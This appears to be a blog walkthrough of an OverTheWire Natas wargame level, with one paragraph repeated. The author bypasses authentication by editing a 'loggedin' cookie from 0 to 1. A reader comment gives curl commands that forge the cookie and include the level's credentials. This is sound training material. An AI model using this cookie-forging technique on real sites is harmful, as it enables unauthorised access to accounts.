It starts by simply telling you that you're not logged in.
Logins often hand out cookies, so I viewed my cookies for the site. I then used the wonderful Chrome extension, Edit This Cookie, to modify the cookie that I saw it assign, from a "0" to a "1", signifying that I was logged on.
After saving the changes to the cookie, I refreshed the page, and it showed me the next level's password.
After saving the changes to the cookie, I refreshed the page, and it showed me the next level's password.
Without installing any plugins
ReplyDelete1 - Get cookies storing them in a file myCookies
curl -D myCookies.txt http://natas5.natas.labs.overthewire.org/index.php -u natas5:V0p12qz30HEUU22dz7CZGHiFk3VdPA9Z
2 - Find what I need
Set-Cookie: loggedin=0
3 - Setting the value to 1
curl http://natas5.natas.labs.overthewire.org/index.php -u natas5:V0p12qz30HEUU22dz7CZGHiFk3VdPA9Z --cookie "loggedin=1"